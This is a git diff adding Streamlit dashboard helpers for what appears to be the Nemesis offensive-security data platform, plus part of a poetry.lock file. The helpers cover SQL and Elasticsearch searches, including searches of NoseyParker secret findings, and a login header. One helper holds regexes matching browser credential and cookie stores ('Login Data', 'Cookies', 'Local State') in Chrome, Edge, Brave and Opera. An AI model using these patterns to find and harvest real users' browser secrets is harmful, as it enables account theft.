+ if not show_archive_originated:
+ query_count += "\n AND originating_object_id = '00000000-0000-0000-0000-000000000000'"
+ query += "\n AND originating_object_id = '00000000-0000-0000-0000-000000000000'"
+ if notes_pattern:
+ query_count += "\n AND notes.value ILIKE :notes"
+ query += "\n AND notes.value ILIKE :notes"
+
+ if order_desc_timestamp:
+ query += "\n ORDER BY timestamp DESC"
+
+ # add in the pagination
+ query += "\n LIMIT :size OFFSET :from_i"
+
+ try:
+ with engine.connect() as conn:
+ params = {
+ "start": start,
+ "end": end,
+ "source": source,
+ "project_id": project_id,
+ "path": path_pattern,
+ "notes": f"%{notes_pattern}%",
+ "md5": file_hash,
+ "sha1": file_hash,
+ "sha256": file_hash,
+ "size": size,
+ "from_i": from_i,
+ }
+
+ # have to dynamically build this because of how we have to search
+ # through arrays in postgres
+ for i in range(len(tags)):
+ params[f"tag_{i}"] = tags[i]
+
+ total_hits = pd.read_sql_query(sql_text(query_count), conn, params=params)["count"].iloc[0]
+ df = pd.read_sql_query(sql_text(query), conn, params=params)
+ return (total_hits, df)
+ except Exception as e:
+ st.error(f"Error retrieving `file_data_enriched` from the database: {e}", icon="🚨")
+ return (None, None)
+
+
+######################################################
+#
+# Common Authentication/Header Helpers
+#
+######################################################
+
+
+# cache the data so we don't have to bcrypt every time
+@st.cache_data
+def get_credentials() -> dict:
+ """Returns the credential dictionary needed by stauth.Authenticate()"""
+ hashed_password = bcrypt.hashpw(DASHBOARD_PASSWORD.encode(), bcrypt.gensalt()).decode()
+ credentials = {
+ "usernames": {DASHBOARD_USER: {"email": f"{DASHBOARD_USER}@nemesis.local", "name": DASHBOARD_USER, "password": hashed_password}}
+ }
+ return credentials
+
+
+def header() -> str:
+ """Writes out the logo/auth header/etc. for all pages."""
+
+ st.set_page_config(
+ layout="wide",
+ page_title="Nemesis",
+ page_icon="đź",
+ menu_items={
+ "Get Help": "https://www.github.com/SpecterOps/Nemesis"
+ }
+ )
+
+ st.markdown(
+ """
+
+ """,
+ unsafe_allow_html=True,
+ )
+
+ st.image("./img/nemesis_logo.png", width=300)
+
+ # hack to hide the default Streamlit footer
+ hide_streamlit_style = """
+
+ """
+ st.markdown(hide_streamlit_style, unsafe_allow_html=True)
+
+ # force authentication
+ return authenticate_header()
+
+
+def authenticate_header() -> str:
+ """
+ Reads in the necessary authentication information and checks the state
+ versus the current user's cookies. Used at the top of every page.
+ """
+
+ authenticator = stauth.Authenticate(get_credentials(), "nemesis", "nemesis", 30)
+
+ name, authentication_status, username = authenticator.login("Login", "main")
+
+ if st.session_state["authentication_status"]:
+ # st.write(f"Welcome *{name}* :smiling_imp:")
+ # authenticator.logout("Logout", "main")
+ return name
+ elif st.session_state["authentication_status"] is False:
+ st.error("Username/password is incorrect")
+ return ""
+ elif st.session_state["authentication_status"] is None:
+ st.warning("Please enter your username and password")
+ return ""
+
+
+######################################################
+#
+# Elasticsearch Helpers
+#
+######################################################
+
+
+def simplify_es_text_result(result: dict) -> dict:
+ """Simplifies an elastic result into the three parts we want to use."""
+ res = result["_source"]
+ res["url"] = result["_id"]
+ # join list of highlights into a sentence
+ res["highlights"] = "...".join(result["highlight"]["text"])
+ return res
+
+
+def wait_for_elasticsearch():
+ """
+ Wait for a connection to be established with Nemesis' Elasticsearch container,
+ and return the es_client object when a connection is established.
+ """
+
+ while True:
+ try:
+ es_client = Elasticsearch(ELASTICSEARCH_URL, basic_auth=(ELASTICSEARCH_USER, ELASTICSEARCH_PASSWORD), verify_certs=False)
+ es_client.info()
+ return es_client
+ except Exception:
+ print(
+ "Encountered an exception while trying to connect to Elasticsearch %s, trying again in %s seconds...",
+ ELASTICSEARCH_URL,
+ WAIT_TIMEOUT,
+ )
+ time.sleep(WAIT_TIMEOUT)
+ continue
+
+
+def get_elastic_total_indexed_documents(index_name="file_data_plaintext", query={}) -> int:
+ """
+ Returns the total number of documents indexed in the specified index.
+ """
+ try:
+ es_client = wait_for_elasticsearch()
+ if query:
+ return es_client.count(index=index_name, query=query)["count"]
+ else:
+ return es_client.count(index=index_name)["count"]
+ except Exception as e:
+ return 0
+
+
+def elastic_text_search(search_term: str, from_i: int, size: int) -> dict:
+ """
+ Searches the 'file_data_plaintext' index in Elasticsearch for
+ the supplied search term, paginating results based on the
+ from_i and size.
+ """
+ try:
+ es_client = wait_for_elasticsearch()
+ query = {"match": {"text": search_term}}
+ highlight = {"pre_tags": [""], "post_tags": [""], "fields": {"text": {}}}
+ fields = [
+ "_id",
+ "originatingObjectPath",
+ "originatingObjectURL",
+ "originatingObjectId",
+ "originatingObjectConvertedPdfUrl",
+ "wordCount",
+ "metadata.source",
+ ]
+ return es_client.search(
+ index="file_data_plaintext", query=query, highlight=highlight, from_=from_i, size=size, source_includes=fields
+ )
+ except Exception as e:
+ if "index_not_found_exception" in f"{e}":
+ st.error("Elastic index 'file_data_plaintext' doesn't yet exist - no text data has been extracted yet!", icon="🚨")
+ else:
+ st.error(f"Exception querying Elastic: {e}", icon="🚨")
+ return {}
+
+
+def elastic_sourcecode_search(search_term: str, from_i: int, size: int) -> dict:
+ """
+ Searches the 'file_data_sourcecode' index in Elasticsearch for
+ the supplied search term, paginating results based on the
+ from_i and size.
+ """
+ try:
+ es_client = wait_for_elasticsearch()
+ query = {"match": {"text": search_term}}
+ highlight = {"pre_tags": [""], "post_tags": [""], "fields": {"text": {}}}
+ fields = [
+ "_id",
+ "downloadURL",
+ "fileObjectURL",
+ "extension",
+ "language",
+ "name",
+ "path",
+ "size",
+ "metadata.source",
+ ]
+ return es_client.search(
+ index="file_data_sourcecode", query=query, highlight=highlight, from_=from_i, size=size, source_includes=fields
+ )
+ except Exception as e:
+ if "index_not_found_exception" in f"{e}":
+ st.error("Elastic index 'file_data_sourcecode' doesn't yet exist - no source code files have been downloaded yet!", icon="🚨")
+ else:
+ st.error(f"Exception querying Elastic: {e}", icon="🚨")
+ return {}
+
+
+def elastic_np_search(from_i: int, size: int) -> dict:
+ """
+ Searches the 'file_data_enriched' index in Elasticsearch for
+ any files that have NoseyParker results, paginating results based
+ on the from_i and size.
+ """
+ try:
+ es_client = wait_for_elasticsearch()
+ query = {"exists": {"field": "noseyparker"}}
+ fields = ["objectId", "name", "magicType", "path", "nemesisFileType", "hashes.sha1", "metadata.source", "noseyparker"]
+ return es_client.search(index="file_data_enriched", query=query, from_=from_i, size=size, source_includes=fields)
+ except Exception as e:
+ if "index_not_found_exception" in f"{e}":
+ st.error("Elastic index 'file_data_enriched' doesn't yet exist - no files have been processed yet!", icon="🚨")
+ else:
+ st.error(f"Exception querying Elastic: {e}", icon="🚨")
+ return {}
+
+
+######################################################
+#
+# Misc. Helpers
+#
+######################################################
+
+def is_valid_chromium_file_path(file_path: str) -> bool:
+ """Returns true if the supplied path is a valid Chromium file path."""
+
+ if re.search(
+ ".*/(?P.*)/AppData/Local/(Google|Microsoft|BraveSoftware)/(?PChrome|Edge|Brave-Browser)/User Data/(?PLocal State|Default/History|Default/Login Data|Default/Cookies|Default/Network/Cookies)$",
+ file_path,
+ re.IGNORECASE
+ ):
+ return True
+ elif re.search(
+ ".*/(?P.*)/AppData/Roaming/Opera Software/Opera Stable/(?PLocal State|History|Login Data|Cookies|Network/Cookies)$",
+ file_path,
+ re.IGNORECASE
+ ):
+ return True
+ else:
+ return False
+
+
+def escape_markdown(text: str) -> str:
+ """Basic helper to escape markdown specicial characters."""
+ parse = re.sub(r"([_*\[\]()~`>\#\+\-=|\.!])", r"\\\1", text)
+ reparse = re.sub(r"\\\\([_*\[\]()~`>\#\+\-=|\.!])", r"\1", parse)
+ return reparse
+
+
+def local_css(file_name):
+ with open(file_name) as f:
+ st.markdown(f"", unsafe_allow_html=True)
+
+
+def remote_css(url):
+ st.markdown(f' ', unsafe_allow_html=True)
+
+
+def nemesis_post_file(file_bytes):
+ """
+ Takes a series of raw file bytes and POSTs it to the NEMESIS_API_URL /file API endpoint.
+ """
+ try:
+ r = requests.request("POST", f"{NEMESIS_API_URL}file", data=file_bytes, headers={"Content-Type": "application/octet-stream"})
+
+ if r.status_code != 200:
+ st.warning(f"Failed to upload file to Nemesis: {r.status_code}", icon="⚠️")
+ return None
+ else:
+ json_result = r.json()
+ if "object_id" in json_result:
+ return json_result["object_id"]
+ else:
+ st.warning(f"Error retrieving 'object_id' field from result", icon="⚠️")
+ return None
+ except Exception as e:
+ st.warning(f"Failed to upload file to Nemesis: {e}", icon="⚠️")
+ return None
+
+
+def nemesis_post_data(data):
+ """
+ Takes a json blob and POSTs it to the NEMESIS_API_URL /data API endpoint.
+ """
+ try:
+ r = requests.post(f"{NEMESIS_API_URL}data", json=data)
+ if r.status_code != 200:
+ st.warning(f"Error posting to Nemesis URL {NEMESIS_API_URL}data ({r.status_code}) : {r.json()}", icon="⚠️")
+ return None
+ else:
+ json_result = r.json()
+ if "object_id" in json_result:
+ return json_result["object_id"]
+ else:
+ st.warning(f"Error retrieving 'object_id' field from result", icon="⚠️")
+ return None
+ except Exception as e:
+ st.warning(f"Error posting to Nemesis URL {NEMESIS_API_URL}data : {e}", icon="⚠️")
+ return None
diff --git a/cmd/dashboard/poetry.lock b/cmd/dashboard/poetry.lock
new file mode 100644
index 0000000..f80b803
--- /dev/null
+++ b/cmd/dashboard/poetry.lock
@@ -0,0 +1,2382 @@
+# This file is automatically @generated by Poetry and should not be changed by hand.
+
+[[package]]
+name = "altair"
+version = "5.0.1"
+description = "Vega-Altair: A declarative statistical visualization library for Python."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "altair-5.0.1-py3-none-any.whl", hash = "sha256:9f3552ed5497d4dfc14cf48a76141d8c29ee56eae2873481b4b28134268c9bbe"},
+ {file = "altair-5.0.1.tar.gz", hash = "sha256:087d7033cb2d6c228493a053e12613058a5d47faf6a36aea3ff60305fd8b4cb0"},
+]
+
+[package.dependencies]
+jinja2 = "*"
+jsonschema = ">=3.0"
+numpy = "*"
+pandas = ">=0.18"
+toolz = "*"
+
+[package.extras]
+dev = ["black (<24)", "hatch", "ipython", "m2r", "mypy", "pandas-stubs", "pytest", "pytest-cov", "ruff", "types-jsonschema", "types-setuptools", "vega-datasets", "vl-convert-python"]
+doc = ["docutils", "geopandas", "jinja2", "myst-parser", "numpydoc", "pillow", "pydata-sphinx-theme", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinxext-altair"]
+
+[[package]]
+name = "attrs"
+version = "23.1.0"
+description = "Classes Without Boilerplate"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"},
+ {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"},
+]
+
+[package.extras]
+cov = ["attrs[tests]", "coverage[toml] (>=5.3)"]
+dev = ["attrs[docs,tests]", "pre-commit"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"]
+tests = ["attrs[tests-no-zope]", "zope-interface"]
+tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"]
+
+[[package]]
+name = "bcrypt"
+version = "4.0.1"
+description = "Modern password hashing for your software and your servers"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "bcrypt-4.0.1-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:b1023030aec778185a6c16cf70f359cbb6e0c289fd564a7cfa29e727a1c38f8f"},
+ {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:08d2947c490093a11416df18043c27abe3921558d2c03e2076ccb28a116cb6d0"},
+ {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0eaa47d4661c326bfc9d08d16debbc4edf78778e6aaba29c1bc7ce67214d4410"},
+ {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ae88eca3024bb34bb3430f964beab71226e761f51b912de5133470b649d82344"},
+ {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:a522427293d77e1c29e303fc282e2d71864579527a04ddcfda6d4f8396c6c36a"},
+ {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:fbdaec13c5105f0c4e5c52614d04f0bca5f5af007910daa8b6b12095edaa67b3"},
+ {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:ca3204d00d3cb2dfed07f2d74a25f12fc12f73e606fcaa6975d1f7ae69cacbb2"},
+ {file = "bcrypt-4.0.1-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:089098effa1bc35dc055366740a067a2fc76987e8ec75349eb9484061c54f535"},
+ {file = "bcrypt-4.0.1-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:e9a51bbfe7e9802b5f3508687758b564069ba937748ad7b9e890086290d2f79e"},
+ {file = "bcrypt-4.0.1-cp36-abi3-win32.whl", hash = "sha256:2caffdae059e06ac23fce178d31b4a702f2a3264c20bfb5ff541b338194d8fab"},
+ {file = "bcrypt-4.0.1-cp36-abi3-win_amd64.whl", hash = "sha256:8a68f4341daf7522fe8d73874de8906f3a339048ba406be6ddc1b3ccb16fc0d9"},
+ {file = "bcrypt-4.0.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf4fa8b2ca74381bb5442c089350f09a3f17797829d958fad058d6e44d9eb83c"},
+ {file = "bcrypt-4.0.1-pp37-pypy37_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:67a97e1c405b24f19d08890e7ae0c4f7ce1e56a712a016746c8b2d7732d65d4b"},
+ {file = "bcrypt-4.0.1-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:b3b85202d95dd568efcb35b53936c5e3b3600c7cdcc6115ba461df3a8e89f38d"},
+ {file = "bcrypt-4.0.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cbb03eec97496166b704ed663a53680ab57c5084b2fc98ef23291987b525cb7d"},
+ {file = "bcrypt-4.0.1-pp38-pypy38_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:5ad4d32a28b80c5fa6671ccfb43676e8c1cc232887759d1cd7b6f56ea4355215"},
+ {file = "bcrypt-4.0.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:b57adba8a1444faf784394de3436233728a1ecaeb6e07e8c22c8848f179b893c"},
+ {file = "bcrypt-4.0.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:705b2cea8a9ed3d55b4491887ceadb0106acf7c6387699fca771af56b1cdeeda"},
+ {file = "bcrypt-4.0.1-pp39-pypy39_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:2b3ac11cf45161628f1f3733263e63194f22664bf4d0c0f3ab34099c02134665"},
+ {file = "bcrypt-4.0.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:3100851841186c25f127731b9fa11909ab7b1df6fc4b9f8353f4f1fd952fbf71"},
+ {file = "bcrypt-4.0.1.tar.gz", hash = "sha256:27d375903ac8261cfe4047f6709d16f7d18d39b1ec92aaf72af989552a650ebd"},
+]
+
+[package.extras]
+tests = ["pytest (>=3.2.1,!=3.3.0)"]
+typecheck = ["mypy"]
+
+[[package]]
+name = "beautifulsoup4"
+version = "4.12.2"
+description = "Screen-scraping library"
+category = "main"
+optional = false
+python-versions = ">=3.6.0"
+files = [
+ {file = "beautifulsoup4-4.12.2-py3-none-any.whl", hash = "sha256:bd2520ca0d9d7d12694a53d44ac482d181b4ec1888909b035a3dbf40d0f57d4a"},
+ {file = "beautifulsoup4-4.12.2.tar.gz", hash = "sha256:492bbc69dca35d12daac71c4db1bfff0c876c00ef4a2ffacce226d4638eb72da"},
+]
+
+[package.dependencies]
+soupsieve = ">1.2"
+
+[package.extras]
+html5lib = ["html5lib"]
+lxml = ["lxml"]
+
+[[package]]
+name = "blinker"
+version = "1.6.2"
+description = "Fast, simple object-to-object and broadcast signaling"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "blinker-1.6.2-py3-none-any.whl", hash = "sha256:c3d739772abb7bc2860abf5f2ec284223d9ad5c76da018234f6f50d6f31ab1f0"},
+ {file = "blinker-1.6.2.tar.gz", hash = "sha256:4afd3de66ef3a9f8067559fb7a1cbe555c17dcbe15971b05d1b625c3e7abe213"},
+]
+
+[[package]]
+name = "cachetools"
+version = "5.3.1"
+description = "Extensible memoizing collections and decorators"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "cachetools-5.3.1-py3-none-any.whl", hash = "sha256:95ef631eeaea14ba2e36f06437f36463aac3a096799e876ee55e5cdccb102590"},
+ {file = "cachetools-5.3.1.tar.gz", hash = "sha256:dce83f2d9b4e1f732a8cd44af8e8fab2dbe46201467fc98b3ef8f269092bf62b"},
+]
+
+[[package]]
+name = "certifi"
+version = "2023.5.7"
+description = "Python package for providing Mozilla's CA Bundle."
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"},
+ {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"},
+]
+
+[[package]]
+name = "cffi"
+version = "1.15.1"
+description = "Foreign Function Interface for Python calling C code."
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"},
+ {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"},
+ {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"},
+ {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"},
+ {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"},
+ {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"},
+ {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"},
+ {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"},
+ {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"},
+ {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"},
+ {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"},
+ {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"},
+ {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"},
+ {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"},
+ {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"},
+ {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"},
